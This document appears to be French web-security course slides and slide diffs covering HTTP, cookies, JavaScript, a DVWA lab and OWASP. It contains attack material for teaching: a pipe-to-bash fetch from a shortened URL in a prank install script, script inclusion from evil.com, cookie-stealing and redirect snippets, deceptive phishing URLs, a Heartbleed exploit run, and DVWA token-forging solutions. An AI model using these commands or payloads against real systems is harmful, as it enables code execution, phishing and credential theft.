* déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php)
* utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* filtrer ses entrées
* par listes blanches
* avec [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
\ No newline at end of file
......@@ -140,7 +140,7 @@ Note:
- chaque moteur a ses commandes
## Veille / IE
## Veille Offensive
* Forum / News group / Mailing list
* [google groups](https://groups.google.com/forum/#!overview)
......@@ -151,19 +151,13 @@ Note:
### à automatiser
## Veille / IE
## Veille Offensive
* technos de prédilection
* style de code
* extraits
* secrets?
Note:
- google fu avec username et site de coder
- dans google alert
- exemple du copier de code (potentiellement vulnérable)
- dans google groups ou forum
## [Shodan](https://www.shodan.io/)
......@@ -198,7 +192,7 @@ Note:
- silencieux envers la cible
## [<i class="fa fa-github"></i> laramies/theHarvester](https://github.com/laramies/theHarvester)
## [<i class="fab fa-github"></i> laramies/theHarvester](https://github.com/laramies/theHarvester)
* Domaine en entrée pour en sortie
* des mails
......@@ -208,6 +202,7 @@ Note:
* Utilise Shodan, Google, Bing, Yahoo, twitter, linkedIn, baidu
<!--
## [<i class="fa fa-bitbucket"></i> Recon-ng](https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home)
* Scripts rangés par catégories
......@@ -216,8 +211,7 @@ Note:
* sait temporiser les requêtes
* Enregistre toutes les infos dans une bdd locale
* Même ergonomie que metasploit
-->
## [Maltego](https://www.paterva.com/web6/products/maltego.php)
* Opensource
......@@ -247,6 +241,7 @@ Note:
![Maltego](images/gathering/maltego.jpg "Maltego")
<!--
## [FOCA](https://www.elevenpaths.com/labstools/foca/)
* Glanneur de méta données /fichier par domaine
* ip d'imprinante
......@@ -255,8 +250,7 @@ Note:
* Google pour la récup des fichiers sur la cible
* traitement des méta local
#### <i class="fa fa-windows"></i> Windows Only
-->
### A ce stade on ne s'est toujours pas connecté à la cible
* Si on veut préserver son anonymat
......
......@@ -161,7 +161,7 @@ PORT STATE SERVICE
### exploit <i class="fa fa-spinner fa-spin"></i>
* [<i class="fa fa-github"></i> akenn/hb-test.py](https://gist.github.com/akenn/10159084)
* [<i class="fab fa-github"></i> akenn/hb-test.py](https://gist.github.com/akenn/10159084)
* [<i class="fa fa-newspaper-o"></i> Andrew Kennedy blog - Heartbleed](http://akenn.org/blog/Heartbleed/)
* [<i class="fa fa-gear"></i> https://heart.bleed ](https://heart.bleed )
* nginx renvoie sur un formulaire d'authentification servi par apache en forçant https
......@@ -171,7 +171,7 @@ PORT STATE SERVICE
### exploit <i class="fa fa-spinner fa-spin"></i>
```bash
$ python hb-test.py heart.bleed > hb.dump \
$ python2 hb-test.py heart.bleed > hb.dump \
&& cat hb.dump | tail -n +10 | head -n 40
00e0: 63 65 70 74 2D 4C 61 6E 67 75 61 67 ..Accept-Languag
00f0: 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E e: en-US,en;q=0.
......
......@@ -20,9 +20,12 @@
# HTTP
* inventé par [Tim Berners-Lee](http://fr.wikipedia.org/wiki/Tim_Berners-Lee) en 1989
* en [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) depuis 1999
* version 2.0 en cours de standardisation
* basée sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google
* [HTTP/1.1](https://www.ietf.org/rfc/rfc2616.txt) jusqu'à 1999
* [HTTP/2](https://tools.ietf.org/html/rfc7540)
* basé sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google
* [HTTP/3](https://tools.ietf.org/html/draft-ietf-quic-http-17)
* basé sur [QUIC](https://en.wikipedia.org/wiki/QUIC)
* [Qu’est-ce que HTTP/3 – Informations sur le nouveau protocole UDP rapide ?](https://kinsta.com/fr/blog/http3/)
Note:
- périmètre de sécurité élargi browser / responsive / web app / API -> installé sur les mobiles
......@@ -32,6 +35,40 @@ Note:
- URL emplacement à suivre ne gère pas le déplacement de la ressource
## <i class="fa-solid fa-link"></i> URI/URL/URN
![URI/URL/URN](images/http/uri-url-urn.png "URI/URL/URN")<!-- .element syle="float: right"style="width: 30%" -->
* Uniform Resource name (URN)
* ex: le nom d'une personne
* Uniform Resource locator (URL)
* ex: l'adresse d'une personne
* Uniform Resource Identifier
* des URLs, URNs, ou les deux
Note:
- URI terme le plus générique
- URN sans le protocole, ca désigne le concept
- URL emplacement ou on peut trouver le concept
- ne gère pas le déplacement de la ressource
## <i class="fa-solid fa-link"></i> Schéma d'url
![schéma d'url](images/http/urls.png "schéma d'url")<!-- .element style="width: 100%" -->
les mots de passes peuvent transiter en claire via les schemas d'url
## <i class="fa-solid fa-link-slash"></i> urls trompeuses
* <small>http://www.visa.com:1337@33.32.323.22:8080/cart?add=1345</small>
* <small>http://visa.com:UserSession=56858&useroption=879@42.216.64.464</small>
* <small>http://www.visa.com@33.32.323.22</small>
* <small>https://www.v-i-s-a.com</small>
<!-- https://airfrance%2Efr@myshort.ru/UWoezfMj/?airfrance-billets-gratuits.html -->
## requête HTTP
* une URI (Unified Resource Identifier)
......@@ -49,7 +86,7 @@ Note:
## requête HTTP de la vraie vie
<pre><code data-trim>
```http
GET / HTTP/1.1
Host: perdu.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
......@@ -62,7 +99,9 @@ If-None-Match: "cc-480d5dd98a340"
Cache-Control: max-age=0
useless data
</code></pre>
```
Connaissez vous Burp Suite?
Note:
- Connection: keep-alive multiplexage de requête - envoyer plusieurs requêtes HTTP via la même connexion TCP (SPDY utilise ça)
......@@ -83,7 +122,7 @@ agissent sur une URI
## verbes HTTP
* [Seuls GET et POST son implémentés dans les navigateurs](http://www.w3.org/TR/html5/forms.html#attr-fs-action)
* [Seuls GET et POST sont implémentés dans les navigateurs](http://www.w3.org/TR/html5/forms.html#attr-fs-action)
* Must read: [Please do not patch like an idiot](http://williamdurand.fr/2014/02/14/please-do-not-patch-like-an-idiot/)
......@@ -108,8 +147,7 @@ composée
## réponse HTTP de la vraie vie
<pre>
<code data-trim>
```http
HTTP/1.1 304 Not Modified
Date: Fri, 20 Feb 2015 15:15:01 GMT
Server: Apache
......@@ -118,16 +156,15 @@ Keep-Alive: timeout=2, max=100
Etag: "cc-480d5dd98a340"
Vary: Accept-Encoding
&#x3C;html&#x3E;
&#x3C;head&#x3E;&#x3C;title&#x3E;Vous Etes Perdu ?&#x3C;/title&#x3E;&#x3C;/head&#x3E;
&#x3C;body&#x3E;
&#x3C;h1&#x3E;Perdu sur l&#x27;Internet ?&#x3C;/h1&#x3E;
&#x3C;h2&#x3E;Pas de panique, on va vous aider&#x3C;/h2&#x3E;
&#x3C;strong&#x3E;* &#x3C;----- vous êtes ici &#x3C;/strong&#x3E;
&#x3C;/body&#x3E;
&#x3C;/html&#x3E;
</code>
</pre>
<html>
<head><title>Vous Etes Perdu ?</title></head>
<body>
<h1>Perdu sur l&#x27;Internet ?</h1>
<h2>Pas de panique, on va vous aider</h2>
<strong>* <----- vous êtes ici </strong>
</body>
</html>
```
Note:
- Notez le header server qui donne déjà de l'information utile
......@@ -199,10 +236,11 @@ deux types
## REpresentational State Transfer
Must read:
* [Haters gonna HATEOAS](http://timelessrepo.com/haters-gonna-hateoas).
* [HATEOAS](https://fr.wikipedia.org/wiki/HATEOAS).
* [L’architecture REST expliquée en 5 règles](https://blog.nicolashachet.com/niveaux/confirme/larchitecture-rest-expliquee-en-5-regles/)
* [Architectural Styles and
the Design of Network-based Software Architectures](https://www.ics.uci.edu/%7Efielding/pubs/dissertation/top.htm) by Roy Thomas Fielding 2000
* [Swagger Petstore example](https://petstore.swagger.io/)
Note:
- Level 0 - HTTP comme protocole de transfert uniquement (transport only). Style RPC (SOAP, XML-RPC) on pourrait utiliser autre chose comme protocole
......@@ -214,6 +252,39 @@ Note:
- on est loin du site web au sens CMS, pourautant ces services sont soumis au mêmes vulnérabilités
## Exemple
[https://gist.github.com/nealrs/28dbfe2c74dfdde26a30](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30)
```js
document.addEventListener('DOMContentLoaded', function () {
q = "finger guns";
api_key = "w00t";
api_url = "https://api.giphy.com/v1/gifs/random";
request = new XMLHttpRequest;
request.open('GET', api_url + '?api_key=' + api_key + '&tag='+q, true);
request.onload = function() {
if (request.status >= 200 && request.status < 400){
data = JSON.parse(request.responseText).data.image_url;
html_data = '<img src = "' + data + '" title="GIF via Giphy">';
document.getElementById("giphyme").innerHTML = html_data;
}
};
request.send();
});
```
<div id="giphyme"></div>
[https://developers.giphy.com/docs/](https://developers.giphy.com/docs/)
<pre>
<div id="giphyjson">
</code>
</pre>
## HTTP est "__stateless__"
![alt text](images/http/stateless.jpg "Stateless")
......@@ -227,12 +298,18 @@ Note:
* introduits par Netscape en 1994 pour fiabiliser l'implémentation du panier d'achat virtuel
* envoyés sous forme d'en tête HTTP par le serveur
<pre><code class="http">Set-Cookie: name=value[; Max-Age=age][; expires=date]
```http
Set-Cookie: name=value[; Max-Age=age][; expires=date]
[; domain=domain_name][; path=some_path][; secure]
[; HttpOnly]
</code></pre>
```
* renvoyés inchangés par le client à chaque requête
<pre><code class="http">Cookie: name=value</code></pre>
```http
Cookie: name=value
```
## les cookies
......@@ -241,8 +318,7 @@ Note:
* cloisonnés par domaine
* accessibles via les sous domaines
* blocable par l'option _domain_
* [tracking cookie](../privacy/tracking.html)
* êtes vous en [conformité avec la loi?](http://www.cnil.fr/vos-obligations/sites-web-cookies-et-autres-traceurs/que-dit-la-loi/)
* êtes vous en [conformité avec la loi?](http://www.cnil.fr/vos-obligations/sites-web-cookies-et-autres-traceurs/que-dit-la-loi/)
Note:
- https://www.owasp.org/index.php/HttpOnly -> pas de manipulation client side ANTI-XSS
......@@ -252,58 +328,33 @@ Note:
## les sessions
* données gérées côté serveur
* données gérées côté serveur
* transimission de l'ID de session uniquement
* transimission de l'ID de session uniquement
<pre><code data-trim>
Cookie: PHPSESSID=hr0ms75gs6f7vlph0hhct2bjj3
</code></pre>
```http
Cookie: PHPSESSID=hr0ms75gs6f7vlph0hhct2bjj3
```
* accessibles via __$_SESSION__ en _PHP_
## [__SOP__ Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)
* concerne [XMLHttpRequest](https://fr.wikipedia.org/wiki/XMLHttpRequest) / [Ajax](https://fr.wikipedia.org/wiki/Ajax_(informatique%29)
* restreint les interactions d'une app web aux ressources ayant la même origine
* origine
* le protocole
* le port (si spécifié)
* l'hôte
## [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)
## local storage
* Cross Origin Resource Sharing
* contrôler les accès en mode cross-site
* effectuer des transferts de données sécurisés
* un peu comme les cookies MAIS
* données gérées coté client uniquement
* transmise par js via api ou via le cookie
* 5MB / domaine contre 4096bytes pour le cookie
* supprimable uniquement via js
### client
<pre><code data-trim>
Origin: http://www.foo.com
</code></pre>
### serveur
<pre><code data-trim>
Access-Control-Allow-Origin: http://www.foo.com
</code></pre>
## tracking cookies
## [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)
* <span style="color:red">* </span> dans le cas d'une ressource 100% publique
* autorise tous les verbes HTTP
* remplace [JSONP](https://en.wikipedia.org/wiki/JSONP)
* qui n'autorisait que la méthode GET
[MDN|Contrôle d'accès HTTP](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)
Note:
- l'introduction de cette nouvelle possibilité implique nécessairement que les serveurs doivent gérer de nouvelles entêtes, et doivent renvoyer les ressources avec de nouvelles entêtes également
- doit être supporté par le navigateur
- la valeur * est possible mais risquée
- requêtes simples, pré-vérifiées avec le verbe OPTIONS, avec habilitations en forcant l'envoie du cookie
* [<i class="fa fa-newspaper"></i> Cookie de tracking / assiste.com](http://assiste.com/Cookie_de_Tracking.html)
* [<i class="fab fa-github"></i> willdurand-edu/cookie-playground](https://github.com/willdurand-edu/cookie-playground)
* [<i class="fa fa-newspaper"></i> recording mouse movements with javascript](https://incolumitas.com/2020/12/24/recording-mouse-movements-with-javascript/)
* [<i class="fa fa-newspaper"></i> Using HTML5 Local Storage vs Cookies For User Tracking ...](http://johnsteinmetz.net/blog/using-html5-local-storage-vs-cookies-for-user-tracking/)
* [<i class="fab fa-github"></i> samyk/evercookie](https://github.com/samyk/evercookie/)
## header, cookie, body, query string, script ...
......
echo -e "\033[0;32m ...downloading DVWA app \033[0m"
echo -ne '##### (33%)\r'
sleep 1
echo -ne '############# (66%)\r'
sleep 1
echo -ne '####################### (100%)\r'
echo -ne '\n'
echo -e "\033[0;32m ...configure DVWA app \033[0m"
echo -ne '##### (33%)\r'
sleep 1
echo -ne '############# (66%)\r'
sleep 1
echo -ne '####################### (100%)\r'
echo -ne '\n'
echo -e "\033[0;32m ...collecting your personal data \033[0m"
echo -ne '##### (33%)\r'
sleep 1
echo -ne '############# (66%)\r'
sleep 1
echo -ne '####################### (100%)\r'
echo -ne '\n'
echo -e "\033[0;31m System hacked! Initiating self-destruct sequence... thanks for comming M4Z3->\033[0m"
# https://perso.limos.fr/mazenod/slides/1337/md/install.sh
# https://github.com/digininja/DVWA?tab=readme-ov-file#linux-packages
# openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out MyCertificate.crt -keyout MyKey.key
# wget -O - https://shorturl.at/xE2qF | bash
\ No newline at end of file
# javascript
## aka ECMAScript
## Javascript
* 95 netscape livescript
* interpréteur js propre au navigateur
* ie s'arrête de charger la page en cas d'erreur
* ff ou chrome essaient de continuer l'exécution
* sensible à la casse
* asynchrone
## scope
* `var variable`
* directement dans le script
* accessible partout y compris dans les fonctions
* dans les fonctions
* visibilité restreinte à la fonction
* sans `var` visibilité globale
Note:
- on peut avoir du js dans un pdf (adobe reader a donc un interpréteur js)
- Google a mis le pied sur l'accélérateur avec la sortie de chrome
- ca ve de mieuix en mieux en terme de comatibilité cross browser
## Les événements
* sur chaque élément
* chaque balise
* page
* système d'événement
* orienté interaction utilisateur
## Les événements
* onload
* quand tous les éléments sont chargés
* il est alors possible de modifier les contenus
* onunload
* quand on quitte le navigateur
* abandonner car trop intrusif
## Les événements
* onerror
* en cas d'échec
* chargement d'image ou d'iframe par exemple
* onsubmit
* quand un formulaire est soumis
* changer l'url d'un formulaire à la volée
## Le DOM
[<i class="fa fa-book" aria-hidden="true"></i> document](https://developer.mozilla.org/en-US/docs/Web/API/Document)
* Document Object Model
* document.referer (SEO)
* id unique getElementById
* renvoie un résultat
* getElementsByTagname
* renvoie un tableau d'elements
* la page en cours est le contexte
* history.back() c'est un autre contexte
* frame ...
## Le DOM
* document.cookie
* values = document.cookie.split(';')
* "userid=maze;expires=friday 29 sept"
* souvent utilisé pour exploiter les XSS
* changer le contenu de la page
* rediriger la page
* changer l'url d'un formulaire
## vrac
[<i class="fa fa-book" aria-hidden="true"></i> window](https://developer.mozilla.org/en-US/docs/Web/API/Window) représente l'environement du navigateurs
```js
window.alert('PoC')
// affiche PoC en pop up
```
```js
console.log('plus silencieux')
// affiche "plus silencieux"
// dans la console (F12)
```
```js
alert(document.cookie);
// affiche le contenu du
// cookie de session en pop up
```
```js
window.location = "http://bad.guy";
// redirige vers http://bad.guy
```
Note:
- redirection sur une page identique
- maitrisée par nous qui renvoie au serveur oriignal après avoir récup le login / mot de passe
## inclusion
dans le corps de la page
```js
<script>alert('Poc');</script>
```
dans un fichier externe
```js
<script src="http://evil.com/payload.js"></script>
```
directement dans les événements associés à un élément du DOM
```js
<a onclick="javascipt:alert('clicked');">peacefull link</a>
<img onload="javascript:console.log('quieter');" />
```
## AJAX / XMLHTTPRequest
* associé au web 2.0 (2006)
* existe depuis le début HTTP 1.0 (1989)
* google map éléments de la carte chargés et rafraichis au déplacement
* permet un appel asynchrone d'url
* sans recharger la page
* le résultat reçu est utilisable par js
* json
[<i class="fab fa-github"></i> un gist exemple](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30)
<i class="fa fa-book"></i> Apprendre JS
* https://developer.mozilla.org/fr/docs/Web/JavaScript
* https://www.youtube.com/watch?v=jnbiNr9b_lk
* https://devdocs.io/javascript/
<i class="fa fa-book"></i> Faire du JS en 2023
* https://www.typescriptlang.org/
* https://nodejs.org/
* https://fr.reactjs.org/
* https://vuejs.org/
### <i class="fa-solid fa-bomb"></i> Javascript / Low
* analyse de la requête / formulaire
* champs hidden `token`
* https://beautifier.io
```
token = md5(rot13(phrase))
```
* forcer
```
token = md5(rot13("success"))
```
* via la console / explorer du navigateur (F12)
### <i class="fa-solid fa-bomb"></i> Javascript / Medium
* analyse de la requête / formulaire
* champs hidden `token`
```
"XX" + reverse("ChangeMe") + "XX"
```
* forcer
```
token = "XXsseccusXX"
```
* via la console / explorer du navigateur (F12)
### <i class="fa-solid fa-bomb"></i> Javascript / High
* analyse de la requête / formulaire
* champs hidden `token`
* interception de la requête avec `burpsuite`
* la valeur soumise n'est pas celle du champs original
* le code js est incompréhensible
* <i class="fa-solid fa-screwdriver-wrench"></i> [http://deobfuscatejavascript.com](http://deobfuscatejavascript.com/#)
### <i class="fa-solid fa-bomb"></i> Javascript / High
1.
```js
document
.getElementById("phrase")
.value = "";
```
2.
```js
token_part_1("ABCD", 44);
```
*
```js
do_something(phrase);
```
* inverse la phrase
* mais elle est vide
### <i class="fa-solid fa-bomb"></i> Javascript / High
3. `token_part_2("XX")` est exécutée après 300ms
```js
document
.getElementById("token")
.value = sha256(
"XX"
+ document
.getElementById("phrase")
.value
)
```
* c'est bien la valeur du token pour une phrase vide
### <i class="fa-solid fa-bomb"></i> Javascript / High
4. La soumission du formulaire déclenche `token_part_3("ZZ")`
* le paramètre `t` n'est pas utilisé
* le jeton envoyé dans la requête est
```js
sha256(document.getElementById("token").value + "ZZ")
```
```js
sha256(
sha256("XX" + document.getElementById("phrase").value)
+ "ZZ"
)
```
### <i class="fa-solid fa-bomb"></i> Javascript / High
* considérant qu'en `2` la phrase a été inversée
```js
token = sha256(sha256("XX" + "sseccus") + "ZZ")
//ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84
```
* mais `token_part_3` est toujours appelé à la soumission du formulaire
* il faut forcer token avec
```js
sha256("XX" + "sseccus")
//7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a
```
et bien mettre la phrase à `success`
\ No newline at end of file
## web sec lab
![web sec lab](images/lab/lab.jpg "web sec lab")
### h4PpY H4Ck1nG
## <i class="fa-solid fa-poo-storm"></i> environnement
* [http://dv.wa](http://dv.wa)
* la vulnérable
* [https://perso.limos.fr/mazenod/slides/1337/exploits](https://perso.limos.fr/mazenod/slides/1337/exploits)
* la malicieuse
* [kali](https://www.kali.org/)
* l'attaquante
## <i class="fa-solid fa-poo-storm"></i> environnement
* [http://proxy](http://proxy)
* la passerelle percée
* [http://debian](http://debian)
* la mututalisée moisie
* [http://debian11](http://debian11)
* la fresh
* [http://thenetwork](http://thenetwork)
* la white box pour l'audit de sécurité (*FISA MAYBE*)
* https://www.digitalocean.com/community/tutorials/how-to-use-sshfs-to-mount-remote-file-systems-over-ssh
## VirtualBox
[![VirtualBox](images/lab/virtualbox.png)](https://www.virtualbox.org/)
## Kali
[![Kali](images/lab/kali.svg)<!-- .element style="width: 50%" -->](https://www.kali.org/)
* [<i class="fa-solid fa-download"></i> get kali](https://www.kali.org/get-kali)
* [<i class="fa fa-video-camera"></i> tongues of kali](https://www.youtube.com/watch?v=dH9wCRQFVR0) <- rien à voir ;)
## Keyboard Mapping
![French keyboard](images/lab/mapping.png)<!-- .element style="width: 70%" -->
## Connexion
![Connexion](images/lab/connexion.png)
* username:password
* kali:kali
## Vim
![vim](images/lab/vim.png)<!-- .element style="width: 40%" -->
#### [<i class="fa-solid fa-gift"></i> survival cheatsheet](https://ryanstutorials.net/linuxtutorial/cheatsheetvi.php)
## Definitive Keyboard Mapping
![Definitve French keyboard](images/lab/keyboard.png)
* `sudo vi /etc/default/keyboard`
* replace `"us"`
* by `"fr"`
## sudo without password
![sudo without password](images/lab/sudo.png)
* `sudo vi /etc/sudoers`
* replace `%sudo ALL=(ALL:ALL) ALL`
* by `%sudo ALL=(ALL) NOPASSWD:ALL`
* see although `/etc/group`
## burp suite
* next / next / accept / ...
* Proxy -> proxy settings
![proxy settings](images/lab/burp.png)<!-- .element style="width: 80%" -->
## toggle FF proxy
install [Proxy Switcher and Manager](https://addons.mozilla.org/fr/firefox/addon/proxy-switcher-and-manager/)
![ff proxy settings / step 1](images/lab/ff-proxy-step-1.png)<!-- .element style="width: 30%" -->
## toggle FF proxy
![ff proxy settings / step 2](images/lab/ff-proxy-step-2.png)<!-- .element style="width: 50%" -->
## toggle FF proxy
![ff proxy settings / step 3](images/lab/ff-proxy-step-3.png)
## toggle FF proxy
![ff proxy settings / step 4](images/lab/ff-proxy-step-4.png)
## toggle FF proxy
![ff proxy settings / step 5](images/lab/ff-proxy-step-5.png)<!-- .element style="width: 80%" -->
## toggle FF proxy
![ff proxy settings / step 6](images/lab/ff-proxy-step-6.png)
## Web developer addons
install [Web developer](https://chrispederick.com/work/web-developer/)
![ff web developer](images/lab/ff-web-developer.png)
## PHP
[![stats par language](images/lab/stats-php.png)](https://w3techs.com/technologies/overview/programming_language)
## DVWA
* [https://github.com/digininja/DVWA](https://github.com/digininja/DVWA)
* htaccess to protect vm
* security cookie
* stocké dans la session
## Debian
[![debian](images/lab/debian.gif)<!-- .element style="width: 30%" -->](https://www.osboxes.org/debian)
## @sh4rpf0rc3
[https://sharpforce.gitbook.io](https://sharpforce.gitbook.io/cybersecurity/mon-blog/a-propos-de-moi)
# <i class="fa-solid fa-thumbs-up"></i>
# 📚 les supports
* [Support de cours](/zz2-f5-securite-logicielle-securite-des-applications-web.html#supports-de-cours)
* 👋 Attention il n'y a que l'essentiel pour les attaques
* 👂 Beaucoup d'infos en cours (parfois demandées à l'exam)
* 🙌 n'hésitez pas à poser des questions
* 😎 peronnalisable pour **votre** confort
# 🎓 l'évaluation
- 📝 [exam écrit d'1h sans support / 10 points](/zz2-f5-securite-logicielle-securite-des-applications-web.html#examen-ecrit-en-fin-de-session-10-points)
- 📢 [présentation de groupe au début de chaque cours / 8 points](/zz2-f5-securite-logicielle-securite-des-applications-web.html#presentation-de-groupe-au-debut-de-chaque-cours-8-points)
- ca commence la **SEMAINE PROCHAINE**
- [calendrier FISE](/zz2-f5-securite-logicielle-securite-des-applications-web.html#calendrier-fise)
- [calendrier FISA](/zz2-f5-securite-logicielle-securite-des-applications-web.html#calendrier-fisa)
- 🔨 [Note technique / 2](/zz2-f5-securite-logicielle-securite-des-applications-web.html#note-technique-2-points)
\ No newline at end of file
## OWASP
* depuis janvier 2001
* fondation Américaine
* [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29)
* en France
* Association loi 1901
* participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/)
* Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint)
* [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/)
<br /><br />
<iframe src="https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/video/" width="640" height="380" frameborder="0" allowfullscreen></iframe>
## OWASP - Indépendance
* composé d'experts indépendants
* indépendant des fournisseurs de solution
* indépendant des gouvernements
* Les projets sont opensource
* nombreux adhérents
* entreprises
* institutions
* individus
* [liste des membres](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit)
* [join now](http://myowasp.force.com/memberappregion)
* <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum
## OWASP - Projets
!["OWASP Flagship mature project"](images/Flagship_banner.jpg "OWASP Flagship mature project")
!["OWASP Lab medium level project"](images/Lab_banner.jpg "OWASP Lab medium level project")
!["OWASP Low activity project"](images/Low_activity.jpg "OWASP Low activity project")
!["OWASP Incubator new projects"](images/Incubator_banner.jpg "OWASP Incubator new projects")
## OWASP - Quelques projets
* Automated Security Verification
* Vulnerability Scanners
* Statis Analysis Tools
* fuzzing (test de données aléatoires en entrée d'un programmme)
* Manual Security Verification
* Penetration Testing Tools
* Code Review Tools
* Security Architecture
* ESAPI
* Secure coding
* AppSec Libraries
* ESAPI Reference implementation
* Guards and Filters
## OWASP - Quelques projets
* AppSec Management
* Reporting Tools
* AppSec Education
* Flawed Apps (application trouée)
* Learning Environments
* Live CD
* SiteGenerator (generateur de sites avec vulnérabilités)
* Canaux de diffusion
* [wiki](https://www.owasp.org/index.php/Main_Page)
* [Podcast](https://www.owasp.org/index.php/OWASP_Podcast)
* [Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference)
* [Lists](https://lists.owasp.org/mailman/listinfo)
* [Livres](https://www.owasp.org/index.php/Category:OWASP_Books)
* [OWASP github](https://github.com/OWASP)
## Owasp projects architecture
* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) -> v4 in progress
* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project)
* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project)
* Projects
* [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets)
* [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS)
* [OWASP Top Ten Project](http://www.owasp.org/index.php/Top_10)
* [OWASP Code Review Guide](http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
* [OWASP Testing Guide](http://www.owasp.org/index.php/Testing_Guide)
* [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project)
## S4UC3 PLZ
* [OWASP Where we are.. Where are we going](https://docs.google.com/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.g1fd9ad1e_0_10)
* [[MSTD10] - Une méthode d'évaluation de la sécurité Web - 1/1](http://www.microsoft.com/france/vision/mstechdays10/Webcast.aspx?EID=413f809d-abbc-467d-a930-5e2d7da27fef)
* [Web Application Firewalls (WAF)](http://www.cert-ist.com/documents/Document_Cert-IST_000333.pdf)
* Autres
* [PCI SSC ‐ Payment Card Industry Security Standards Council](https://www.pcisecuritystandards.org)
* [PCI - DSS Data Payment Card Industry Security Standard](https://www.pcisecuritystandards.org/security_standards/documents.php)
* [french version](http://fr.pcisecuritystandards.org/minisite/en/)
* [Web Application Security Consortium Project page](http://projects.webappsec.org)
* [Imperva - Resources](http://www.imperva.com/resources/overview.html)
* [MITRE ‐ Common Weakness Enumeration – Vulnerability](Trends, http://cwe.mitre.org/documents/vuln‐trends.html)
* [CLUSIF](http://www.clusif.asso.fr/)
* [CLUSIF - ouvrages](http://www.clusif.asso.fr/fr/production/ouvrages/)
* [CLUSIR - Rhônes-Alpes](http://www.clusir-rha.fr/)
## Contexte
<div style="text-align: center">
![alt text](/_/gdi/images/contexte.jpg "Contexte") <!-- .element: width="80%" -->
</div>
## Contexte
* Les états ont/vont renforcer la règlementation pour combattre les failles et les attaques [LPM/SAIV/OIV](http://www.defense.gouv.fr/actualites/dossiers/la-loi-de-programmation-militaire-lpm-2014-2019), [PPSIE](http://www.ssi.gouv.fr/fr/menu/actualites/le-premier-ministre-dote-l-etat-de-sa-premiere-politique-globale-de-securite.html), [Les différents plans gouvernementaux](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/), ...
* L’incident n’est plus l’exception mais la règle, il faut
* industrialiser son traitement
* limiter l’impact direct sur l’information, les processus métiers, l’organisme, les personnes
* limiter l’impact indirect sur les équipes en charge du traitement
* se protéger, c’est aussi savoir réagir !
Note:
- Loi contre le terrorisme 2014
- Loi pour le renseignement 2015
- contexte tendu depuis les attentats
- piratage récent Sony / TV5 monde ... Thalès
## Obligation légale <!-- .element: id="legal" -->
* [Règlement européen du 24/06/2013](http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2013:173:0002:0008:FR:PDF")
* [PSSIE (Article 7) - 17 jullet 2014](http://www.ssi.gouv.fr/IMG/pdf/pssie_anssi.pdf)
* *"Chaque entité contribue à la protection et à la défense des systèmes d'information de L'Etat par la mise en place d'une "chaîne opérationnelle", qui rend compte régulièrement à la chaîne fonctionnelle SSI"*
* [Objectifs de sécurité [ANSSI]- 27 férvier 2014](http://www.ssi.gouv.fr/IMG/pdf/20140310_Objectifs_de_cybersecurite_document_public.pdf)
* 5/ Gérer les incidents de cybersécurité
* [Informatique et liberté (article 34 bis)](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000000886460#LEGIARTI000024504700)
* Violation des [données à caractère personnel](http://www.cil.cnrs.fr/CIL/spip.php?rubrique299a)
* déclaration à la CNIL et à l’intéressé
* [Arrêté du 3 juillet 2012 ](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000026140136&dateTexte=) relatif à la PPST
* Article 1 : signalement des incidents majeurs
* [Charte informatique du CNRS (3.2 Règles d’utilisation)](http://www.cil.cnrs.fr/CIL/IMG/pdf/charte_info.pdf)
Note:
- Niveau Francais, Défense, IL pour l'utilisateur, employeur, Européen
- d'où cette formation
## Objectifs
* Maintenir les compétences
* Mettre en place une "bonne pratique" supplémentaire
